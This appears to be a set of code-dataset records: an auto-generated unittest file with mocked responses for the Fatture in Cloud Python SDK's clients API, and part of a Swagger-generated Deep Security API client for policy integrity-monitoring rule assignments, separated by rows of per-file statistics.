_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 43.129782 | 198 | 0.60602 | 31,975 | 278,489 | 5.041376 | 0.010852 | 0.054839 | 0.021539 | 0.027693 | 0.984615 | 0.978467 | 0.972165 | 0.966327 | 0.960862 | 0.95691 | 0 | 0.017248 | 0.305685 | 278,489 | 6,456 | 199 | 43.136462 | 0.816424 | 0.318953 | 0 | 0.809122 | 1 | 0 | 0.198423 | 0.051965 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035191 | false | 0 | 0.003097 | 0 | 0.090935 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e805fe377f1f66c13a7265953392f9d531f467da | 21,942 | py | Python | test/test_clients_api.py | fattureincloud/fattureincloud-python-sdk | f3a40fac345751014ea389680efdaef90f03bac1 | [
"MIT"
] | 2 | 2022-02-17T08:33:17.000Z | 2022-03-22T09:27:00.000Z | test/test_clients_api.py | fattureincloud/fattureincloud-python-sdk | f3a40fac345751014ea389680efdaef90f03bac1 | [
"MIT"
] | null | null | null | test/test_clients_api.py | fattureincloud/fattureincloud-python-sdk | f3a40fac345751014ea389680efdaef90f03bac1 | [
"MIT"
] | null | null | null | """
Fatture in Cloud API v2 - API Reference
Connect your software with Fatture in Cloud, the invoicing platform chosen by more than 400.000 businesses in Italy. The Fatture in Cloud API is based on REST, and makes possible to interact with the user related data prior authorization via OAuth2 protocol. # noqa: E501
The version of the OpenAPI document: 2.0.9
Contact: info@fattureincloud.it
Generated by: https://openapi-generator.tech
"""
import unittest
import unittest.mock
import functions
import fattureincloud_python_sdk
from fattureincloud_python_sdk.rest import RESTResponse
from fattureincloud_python_sdk.api.clients_api import ClientsApi
from fattureincloud_python_sdk.model.client import Client
from fattureincloud_python_sdk.model.client_type import ClientType
from fattureincloud_python_sdk.model.default_payment_terms_type import DefaultPaymentTermsType
from fattureincloud_python_sdk.model.payment_account import PaymentAccount
from fattureincloud_python_sdk.model.payment_account_type import PaymentAccountType
from fattureincloud_python_sdk.model.payment_method import PaymentMethod
from fattureincloud_python_sdk.model.payment_method_details import PaymentMethodDetails
from fattureincloud_python_sdk.model.payment_method_type import PaymentMethodType
from fattureincloud_python_sdk.model.vat_type import VatType
from fattureincloud_python_sdk.model.create_client_response import CreateClientResponse
from fattureincloud_python_sdk.model.get_client_response import GetClientResponse
from fattureincloud_python_sdk.model.list_clients_response import ListClientsResponse
from fattureincloud_python_sdk.model.modify_client_response import ModifyClientResponse
class TestClientsApi(unittest.TestCase):
"""ClientsApi unit test stubs"""
def setUp(self):
self.api = ClientsApi()
def tearDown(self):
pass
def test_create_client(self):
resp = {
'status': 200,
'data': b'{"data": {"id": 1, "code": "123", "name": "Rossi S.r.l.", "type": "company", "first_name": "first_name_example", "last_name": "last_name_example", "contact_person": "contact_person_example", "vat_number": "IT01234567890", "tax_code": "RSSMRA44A12E890Q", "address_street": "Via dei tigli, 12", "address_postal_code": "24010", "address_city": "Bergamo", "address_province": "BG", "address_extra": "address_extra_example", "country": "Italia", "email": "mario.rossi@example.it", "certified_email": "mario.rossi@pec.example.it", "phone": "phone_example", "fax": "fax_example", "notes": "notes_example", "default_vat": {"id": 1, "value": 22.0, "description": "Non imponibile art. 123", "notes": "IVA non imponibile ai sensi dell articolo 123, comma 2", "e_invoice": true, "ei_type": "2", "ei_description": "ei_description_example", "is_disabled": true}, "default_payment_terms": 30, "default_payment_terms_type": "standard", "default_payment_method": {"id": 1, "name": "name_example", "type": "standard", "is_default": true, "default_payment_account": {"id": 1, "name": "Conto Banca Intesa", "type": "standard", "iban": "iban_example", "sia": "sia_example", "cuc": "cuc_example", "virtual": true}, "details": [{"title": "title_example", "description": "description_example"}], "bank_iban": "bank_iban_example", "bank_name": "bank_name_example", "bank_beneficiary": "bank_beneficiary_example", "ei_payment_method": "ei_payment_method_example"}, "bank_name": "bank_name_example", "bank_iban": "bank_iban_example", "bank_swift_code": "bank_swift_code_example", "shipping_address": "shipping_address_example", "e_invoice": false, "ei_code": "ei_code_example", "created_at": "created_at_example", "updated_at": "updated_at_example"}}',
'reason': "OK"
}
mock_resp = RESTResponse(functions.Dict2Class(resp))
mock_resp.getheader = unittest.mock.MagicMock(return_value = None)
mock_resp.getheaders = unittest.mock.MagicMock(return_value = None)
self.api.api_client.rest_client.POST = unittest.mock.MagicMock(return_value = mock_resp)
expected = CreateClientResponse(data = Client( id=2, code="123", name="Rossi S.r.l.", type=ClientType("company"), first_name="first_name_example", last_name="last_name_example", contact_person="contact_person_example", vat_number="IT01234567890", tax_code="RSSMRA44A12E890Q", address_street="Via dei tigli, 12", address_postal_code="24010", address_city="Bergamo", address_province="BG", address_extra="address_extra_example", country="Italia", email="mario.rossi@example.it", certified_email="mario.rossi@pec.example.it", phone="phone_example", fax="fax_example", notes="notes_example", default_vat=VatType( id=1, value=22.0, description="Non imponibile art. 123", notes="IVA non imponibile ai sensi dell articolo 123, comma 2", e_invoice=True, ei_type="2", ei_description="ei_description_example", is_disabled=True, ), default_payment_terms=30, default_payment_terms_type=DefaultPaymentTermsType("standard"), default_payment_method=PaymentMethod( id=1, name="name_example", type=PaymentMethodType("standard"), is_default=True, default_payment_account=PaymentAccount( id=1, name="Conto Banca Intesa", type=PaymentAccountType("standard"), iban="iban_example", sia="sia_example", cuc="cuc_example", virtual=True, ), details=[ PaymentMethodDetails( title="title_example", description="description_example", ), ], bank_iban="bank_iban_example", bank_name="bank_name_example", bank_beneficiary="bank_beneficiary_example", ei_payment_method="ei_payment_method_example", ), bank_name="bank_name_example", bank_iban="bank_iban_example", bank_swift_code="bank_swift_code_example", shipping_address="shipping_address_example", e_invoice=False, ei_code="ei_code_example", created_at="created_at_example", updated_at="updated_at_example" ) )
actual = self.api.create_client(2)
actual.data.id = 2
assert actual == expected
def test_delete_client(self):
resp = {
'status': 200,
'data': b'{}',
'reason': "OK"
}
mock_resp = RESTResponse(functions.Dict2Class(resp))
mock_resp.getheader = unittest.mock.MagicMock(return_value = None)
mock_resp.getheaders = unittest.mock.MagicMock(return_value = None)
self.api.api_client.rest_client.DELETE = unittest.mock.MagicMock(return_value = mock_resp)
actual = self.api.delete_client(2, 12345)
assert actual == None
def test_get_client(self):
resp = {
'status': 200,
'data': b'{"data": {"id": 1, "code": "123", "name": "Rossi S.r.l.", "type": "company", "first_name": "first_name_example", "last_name": "last_name_example", "contact_person": "contact_person_example", "vat_number": "IT01234567890", "tax_code": "RSSMRA44A12E890Q", "address_street": "Via dei tigli, 12", "address_postal_code": "24010", "address_city": "Bergamo", "address_province": "BG", "address_extra": "address_extra_example", "country": "Italia", "email": "mario.rossi@example.it", "certified_email": "mario.rossi@pec.example.it", "phone": "phone_example", "fax": "fax_example", "notes": "notes_example", "default_vat": {"id": 1, "value": 22.0, "description": "Non imponibile art. 123", "notes": "IVA non imponibile ai sensi dell articolo 123, comma 2", "e_invoice": true, "ei_type": "2", "ei_description": "ei_description_example", "is_disabled": true}, "default_payment_terms": 30, "default_payment_terms_type": "standard", "default_payment_method": {"id": 1, "name": "name_example", "type": "standard", "is_default": true, "default_payment_account": {"id": 1, "name": "Conto Banca Intesa", "type": "standard", "iban": "iban_example", "sia": "sia_example", "cuc": "cuc_example", "virtual": true}, "details": [{"title": "title_example", "description": "description_example"}], "bank_iban": "bank_iban_example", "bank_name": "bank_name_example", "bank_beneficiary": "bank_beneficiary_example", "ei_payment_method": "ei_payment_method_example"}, "bank_name": "bank_name_example", "bank_iban": "bank_iban_example", "bank_swift_code": "bank_swift_code_example", "shipping_address": "shipping_address_example", "e_invoice": false, "ei_code": "ei_code_example", "created_at": "created_at_example", "updated_at": "updated_at_example"}}',
'reason': "OK"
}
mock_resp = RESTResponse(functions.Dict2Class(resp))
mock_resp.getheader = unittest.mock.MagicMock(return_value = None)
mock_resp.getheaders = unittest.mock.MagicMock(return_value = None)
self.api.api_client.rest_client.GET = unittest.mock.MagicMock(return_value = mock_resp)
expected = GetClientResponse(data = Client( id=2, code="123", name="Rossi S.r.l.", type=ClientType("company"), first_name="first_name_example", last_name="last_name_example", contact_person="contact_person_example", vat_number="IT01234567890", tax_code="RSSMRA44A12E890Q", address_street="Via dei tigli, 12", address_postal_code="24010", address_city="Bergamo", address_province="BG", address_extra="address_extra_example", country="Italia", email="mario.rossi@example.it", certified_email="mario.rossi@pec.example.it", phone="phone_example", fax="fax_example", notes="notes_example", default_vat=VatType( id=1, value=22.0, description="Non imponibile art. 123", notes="IVA non imponibile ai sensi dell articolo 123, comma 2", e_invoice=True, ei_type="2", ei_description="ei_description_example", is_disabled=True, ), default_payment_terms=30, default_payment_terms_type=DefaultPaymentTermsType("standard"), default_payment_method=PaymentMethod( id=1, name="name_example", type=PaymentMethodType("standard"), is_default=True, default_payment_account=PaymentAccount( id=1, name="Conto Banca Intesa", type=PaymentAccountType("standard"), iban="iban_example", sia="sia_example", cuc="cuc_example", virtual=True, ), details=[ PaymentMethodDetails( title="title_example", description="description_example", ), ], bank_iban="bank_iban_example", bank_name="bank_name_example", bank_beneficiary="bank_beneficiary_example", ei_payment_method="ei_payment_method_example", ), bank_name="bank_name_example", bank_iban="bank_iban_example", bank_swift_code="bank_swift_code_example", shipping_address="shipping_address_example", e_invoice=False, ei_code="ei_code_example", created_at="created_at_example", updated_at="updated_at_example" ) )
actual = self.api.get_client(2, 12345)
actual.data.id = 2
assert actual == expected
def test_list_clients(self):
resp = {
'status': 200,
'data': b'{"data": [{"id": 1, "code": "123", "name": "Rossi S.r.l.", "type": "company", "first_name": "first_name_example", "last_name": "last_name_example", "contact_person": "contact_person_example", "vat_number": "IT01234567890", "tax_code": "RSSMRA44A12E890Q", "address_street": "Via dei tigli, 12", "address_postal_code": "24010", "address_city": "Bergamo", "address_province": "BG", "address_extra": "address_extra_example", "country": "Italia", "email": "mario.rossi@example.it", "certified_email": "mario.rossi@pec.example.it", "phone": "phone_example", "fax": "fax_example", "notes": "notes_example", "default_vat": {"id": 1, "value": 22.0, "description": "Non imponibile art. 123", "notes": "IVA non imponibile ai sensi dell articolo 123, comma 2", "e_invoice": true, "ei_type": "2", "ei_description": "ei_description_example", "is_disabled": true}, "default_payment_terms": 30, "default_payment_terms_type": "standard", "default_payment_method": {"id": 1, "name": "name_example", "type": "standard", "is_default": true, "default_payment_account": {"id": 1, "name": "Conto Banca Intesa", "type": "standard", "iban": "iban_example", "sia": "sia_example", "cuc": "cuc_example", "virtual": true}, "details": [{"title": "title_example", "description": "description_example"}], "bank_iban": "bank_iban_example", "bank_name": "bank_name_example", "bank_beneficiary": "bank_beneficiary_example", "ei_payment_method": "ei_payment_method_example"}, "bank_name": "bank_name_example", "bank_iban": "bank_iban_example", "bank_swift_code": "bank_swift_code_example", "shipping_address": "shipping_address_example", "e_invoice": false, "ei_code": "ei_code_example", "created_at": "created_at_example", "updated_at": "updated_at_example"}, {"id": 2, "code": "123", "name": "Rossi S.r.l.", "type": "company", "first_name": "first_name_example", "last_name": "last_name_example", "contact_person": "contact_person_example", "vat_number": "IT01234567890", "tax_code": "RSSMRA44A12E890Q", "address_street": "Via dei tigli, 12", "address_postal_code": "24010", "address_city": "Bergamo", "address_province": "BG", "address_extra": "address_extra_example", "country": "Italia", "email": "mario.rossi@example.it", "certified_email": "mario.rossi@pec.example.it", "phone": "phone_example", "fax": "fax_example", "notes": "notes_example", "default_vat": {"id": 1, "value": 22.0, "description": "Non imponibile art. 123", "notes": "IVA non imponibile ai sensi dell articolo 123, comma 2", "e_invoice": true, "ei_type": "2", "ei_description": "ei_description_example", "is_disabled": true}, "default_payment_terms": 30, "default_payment_terms_type": "standard", "default_payment_method": {"id": 1, "name": "name_example", "type": "standard", "is_default": true, "default_payment_account": {"id": 1, "name": "Conto Banca Intesa", "type": "standard", "iban": "iban_example", "sia": "sia_example", "cuc": "cuc_example", "virtual": true}, "details": [{"title": "title_example", "description": "description_example"}], "bank_iban": "bank_iban_example", "bank_name": "bank_name_example", "bank_beneficiary": "bank_beneficiary_example", "ei_payment_method": "ei_payment_method_example"}, "bank_name": "bank_name_example", "bank_iban": "bank_iban_example", "bank_swift_code": "bank_swift_code_example", "shipping_address": "shipping_address_example", "e_invoice": false, "ei_code": "ei_code_example", "created_at": "created_at_example", "updated_at": "updated_at_example"}]}',
'reason': "OK"
}
mock_resp = RESTResponse(functions.Dict2Class(resp))
mock_resp.getheader = unittest.mock.MagicMock(return_value = None)
mock_resp.getheaders = unittest.mock.MagicMock(return_value = None)
self.api.api_client.rest_client.GET = unittest.mock.MagicMock(return_value = mock_resp)
expected = ListClientsResponse(data = [Client( id=2, code="123", name="Rossi S.r.l.", type=ClientType("company"), first_name="first_name_example", last_name="last_name_example", contact_person="contact_person_example", vat_number="IT01234567890", tax_code="RSSMRA44A12E890Q", address_street="Via dei tigli, 12", address_postal_code="24010", address_city="Bergamo", address_province="BG", address_extra="address_extra_example", country="Italia", email="mario.rossi@example.it", certified_email="mario.rossi@pec.example.it", phone="phone_example", fax="fax_example", notes="notes_example", default_vat=VatType( id=1, value=22.0, description="Non imponibile art. 123", notes="IVA non imponibile ai sensi dell articolo 123, comma 2", e_invoice=True, ei_type="2", ei_description="ei_description_example", is_disabled=True, ), default_payment_terms=30, default_payment_terms_type=DefaultPaymentTermsType("standard"), default_payment_method=PaymentMethod( id=1, name="name_example", type=PaymentMethodType("standard"), is_default=True, default_payment_account=PaymentAccount( id=1, name="Conto Banca Intesa", type=PaymentAccountType("standard"), iban="iban_example", sia="sia_example", cuc="cuc_example", virtual=True, ), details=[ PaymentMethodDetails( title="title_example", description="description_example", ), ], bank_iban="bank_iban_example", bank_name="bank_name_example", bank_beneficiary="bank_beneficiary_example", ei_payment_method="ei_payment_method_example", ), bank_name="bank_name_example", bank_iban="bank_iban_example", bank_swift_code="bank_swift_code_example", shipping_address="shipping_address_example", e_invoice=False, ei_code="ei_code_example", created_at="created_at_example", updated_at="updated_at_example" ),Client( id=2, code="123", name="Rossi S.r.l.", type=ClientType("company"), first_name="first_name_example", last_name="last_name_example", contact_person="contact_person_example", vat_number="IT01234567890", tax_code="RSSMRA44A12E890Q", address_street="Via dei tigli, 12", address_postal_code="24010", address_city="Bergamo", address_province="BG", address_extra="address_extra_example", country="Italia", email="mario.rossi@example.it", certified_email="mario.rossi@pec.example.it", phone="phone_example", fax="fax_example", notes="notes_example", default_vat=VatType( id=1, value=22.0, description="Non imponibile art. 123", notes="IVA non imponibile ai sensi dell articolo 123, comma 2", e_invoice=True, ei_type="2", ei_description="ei_description_example", is_disabled=True, ), default_payment_terms=30, default_payment_terms_type=DefaultPaymentTermsType("standard"), default_payment_method=PaymentMethod( id=1, name="name_example", type=PaymentMethodType("standard"), is_default=True, default_payment_account=PaymentAccount( id=1, name="Conto Banca Intesa", type=PaymentAccountType("standard"), iban="iban_example", sia="sia_example", cuc="cuc_example", virtual=True, ), details=[ PaymentMethodDetails( title="title_example", description="description_example", ), ], bank_iban="bank_iban_example", bank_name="bank_name_example", bank_beneficiary="bank_beneficiary_example", ei_payment_method="ei_payment_method_example", ), bank_name="bank_name_example", bank_iban="bank_iban_example", bank_swift_code="bank_swift_code_example", shipping_address="shipping_address_example", e_invoice=False, ei_code="ei_code_example", created_at="created_at_example", updated_at="updated_at_example" )] )
actual = self.api.list_clients(2)
actual.data[0].id = 2
assert actual == expected
def test_modify_client(self):
resp = {
'status': 200,
'data': b'{"data": {"id": 1, "code": "123", "name": "Rossi S.r.l.", "type": "company", "first_name": "first_name_example", "last_name": "last_name_example", "contact_person": "contact_person_example", "vat_number": "IT01234567890", "tax_code": "RSSMRA44A12E890Q", "address_street": "Via dei tigli, 12", "address_postal_code": "24010", "address_city": "Bergamo", "address_province": "BG", "address_extra": "address_extra_example", "country": "Italia", "email": "mario.rossi@example.it", "certified_email": "mario.rossi@pec.example.it", "phone": "phone_example", "fax": "fax_example", "notes": "notes_example", "default_vat": {"id": 1, "value": 22.0, "description": "Non imponibile art. 123", "notes": "IVA non imponibile ai sensi dell articolo 123, comma 2", "e_invoice": true, "ei_type": "2", "ei_description": "ei_description_example", "is_disabled": true}, "default_payment_terms": 30, "default_payment_terms_type": "standard", "default_payment_method": {"id": 1, "name": "name_example", "type": "standard", "is_default": true, "default_payment_account": {"id": 1, "name": "Conto Banca Intesa", "type": "standard", "iban": "iban_example", "sia": "sia_example", "cuc": "cuc_example", "virtual": true}, "details": [{"title": "title_example", "description": "description_example"}], "bank_iban": "bank_iban_example", "bank_name": "bank_name_example", "bank_beneficiary": "bank_beneficiary_example", "ei_payment_method": "ei_payment_method_example"}, "bank_name": "bank_name_example", "bank_iban": "bank_iban_example", "bank_swift_code": "bank_swift_code_example", "shipping_address": "shipping_address_example", "e_invoice": false, "ei_code": "ei_code_example", "created_at": "created_at_example", "updated_at": "updated_at_example"}}',
'reason': "OK"
}
mock_resp = RESTResponse(functions.Dict2Class(resp))
mock_resp.getheader = unittest.mock.MagicMock(return_value = None)
mock_resp.getheaders = unittest.mock.MagicMock(return_value = None)
self.api.api_client.rest_client.PUT = unittest.mock.MagicMock(return_value = mock_resp)
expected = ModifyClientResponse(data = Client( id=2, code="123", name="Rossi S.r.l.", type=ClientType("company"), first_name="first_name_example", last_name="last_name_example", contact_person="contact_person_example", vat_number="IT01234567890", tax_code="RSSMRA44A12E890Q", address_street="Via dei tigli, 12", address_postal_code="24010", address_city="Bergamo", address_province="BG", address_extra="address_extra_example", country="Italia", email="mario.rossi@example.it", certified_email="mario.rossi@pec.example.it", phone="phone_example", fax="fax_example", notes="notes_example", default_vat=VatType( id=1, value=22.0, description="Non imponibile art. 123", notes="IVA non imponibile ai sensi dell articolo 123, comma 2", e_invoice=True, ei_type="2", ei_description="ei_description_example", is_disabled=True, ), default_payment_terms=30, default_payment_terms_type=DefaultPaymentTermsType("standard"), default_payment_method=PaymentMethod( id=1, name="name_example", type=PaymentMethodType("standard"), is_default=True, default_payment_account=PaymentAccount( id=1, name="Conto Banca Intesa", type=PaymentAccountType("standard"), iban="iban_example", sia="sia_example", cuc="cuc_example", virtual=True, ), details=[ PaymentMethodDetails( title="title_example", description="description_example", ), ], bank_iban="bank_iban_example", bank_name="bank_name_example", bank_beneficiary="bank_beneficiary_example", ei_payment_method="ei_payment_method_example", ), bank_name="bank_name_example", bank_iban="bank_iban_example", bank_swift_code="bank_swift_code_example", shipping_address="shipping_address_example", e_invoice=False, ei_code="ei_code_example", created_at="created_at_example", updated_at="updated_at_example" ) )
actual = self.api.modify_client(2, 12345)
actual.data.id = 2
assert actual == expected
if __name__ == '__main__':
unittest.main()
| 171.421875 | 3,464 | 0.75016 | 2,882 | 21,942 | 5.377516 | 0.068702 | 0.042586 | 0.025745 | 0.024519 | 0.916763 | 0.904375 | 0.899471 | 0.8785 | 0.872306 | 0.869273 | 0 | 0.025681 | 0.09671 | 21,942 | 127 | 3,465 | 172.771654 | 0.756256 | 0.021101 | 0 | 0.446809 | 0 | 0.042553 | 0.566026 | 0.153921 | 0 | 0 | 0 | 0 | 0.053191 | 1 | 0.074468 | false | 0.010638 | 0.202128 | 0 | 0.287234 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e82c3ba4a23af698b980feab1f912e2fb70f8906 | 25,880 | py | Python | source/deepsecurity/api/policy_integrity_monitoring_rule_assignments__recommendations_api.py | felipecosta09/cloudone-workload-controltower-lifecycle | 7927c84d164058b034fc872701b5ee117641f4d1 | [
"Apache-2.0"
] | 1 | 2021-10-30T16:40:09.000Z | 2021-10-30T16:40:09.000Z | source/deepsecurity/api/policy_integrity_monitoring_rule_assignments__recommendations_api.py | felipecosta09/cloudone-workload-controltower-lifecycle | 7927c84d164058b034fc872701b5ee117641f4d1 | [
"Apache-2.0"
] | 1 | 2021-07-28T20:19:03.000Z | 2021-07-28T20:19:03.000Z | source/deepsecurity/api/policy_integrity_monitoring_rule_assignments__recommendations_api.py | felipecosta09/cloudone-workload-controltower-lifecycle | 7927c84d164058b034fc872701b5ee117641f4d1 | [
"Apache-2.0"
] | 1 | 2021-10-30T16:40:02.000Z | 2021-10-30T16:40:02.000Z | # coding: utf-8
"""
Trend Micro Deep Security API
Copyright 2018 - 2020 Trend Micro Incorporated.<br/>Get protected, stay secured, and keep informed with Trend Micro Deep Security's new RESTful API. Access system data and manage security configurations to automate your security workflows and integrate Deep Security into your CI/CD pipeline. # noqa: E501
OpenAPI spec version: 12.5.841
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from deepsecurity.api_client import ApiClient
class PolicyIntegrityMonitoringRuleAssignmentsRecommendationsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def add_integrity_monitoring_rule_ids_to_policy(self, policy_id, api_version, **kwargs): # noqa: E501
"""Add Integrity Monitoring Rule IDs # noqa: E501
Assign integrity monitoring rule IDs to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_integrity_monitoring_rule_ids_to_policy(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param RuleIDs integrity_monitoring_rule_ids: The ID numbers of the integrity monitoring rules to add.
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.add_integrity_monitoring_rule_ids_to_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.add_integrity_monitoring_rule_ids_to_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
return data
def add_integrity_monitoring_rule_ids_to_policy_with_http_info(self, policy_id, api_version, **kwargs): # noqa: E501
"""Add Integrity Monitoring Rule IDs # noqa: E501
Assign integrity monitoring rule IDs to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.add_integrity_monitoring_rule_ids_to_policy_with_http_info(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param RuleIDs integrity_monitoring_rule_ids: The ID numbers of the integrity monitoring rules to add.
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'api_version', 'integrity_monitoring_rule_ids', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_integrity_monitoring_rule_ids_to_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `add_integrity_monitoring_rule_ids_to_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `add_integrity_monitoring_rule_ids_to_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `add_integrity_monitoring_rule_ids_to_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'integrity_monitoring_rule_ids' in params:
body_params = params['integrity_monitoring_rule_ids']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/integritymonitoring/assignments', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntegrityMonitoringAssignments', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def list_integrity_monitoring_rule_ids_on_policy(self, policy_id, api_version, **kwargs): # noqa: E501
"""List Integrity Monitoring Rule IDs # noqa: E501
Lists all integrity monitoring rule IDs assigned to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_integrity_monitoring_rule_ids_on_policy(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.list_integrity_monitoring_rule_ids_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.list_integrity_monitoring_rule_ids_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
return data
def list_integrity_monitoring_rule_ids_on_policy_with_http_info(self, policy_id, api_version, **kwargs): # noqa: E501
"""List Integrity Monitoring Rule IDs # noqa: E501
Lists all integrity monitoring rule IDs assigned to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.list_integrity_monitoring_rule_ids_on_policy_with_http_info(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'api_version', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method list_integrity_monitoring_rule_ids_on_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `list_integrity_monitoring_rule_ids_on_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `list_integrity_monitoring_rule_ids_on_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `list_integrity_monitoring_rule_ids_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/integritymonitoring/assignments', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntegrityMonitoringAssignments', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def remove_integrity_monitoring_rule_id_from_policy(self, policy_id, integrity_monitoring_rule_id, api_version, **kwargs): # noqa: E501
"""Remove an Integrity Monitoring Rule ID # noqa: E501
Unassign an integrity monitoring rule ID from a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.remove_integrity_monitoring_rule_id_from_policy(policy_id, integrity_monitoring_rule_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int integrity_monitoring_rule_id: The ID number of the integrity monitoring rule to delete. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
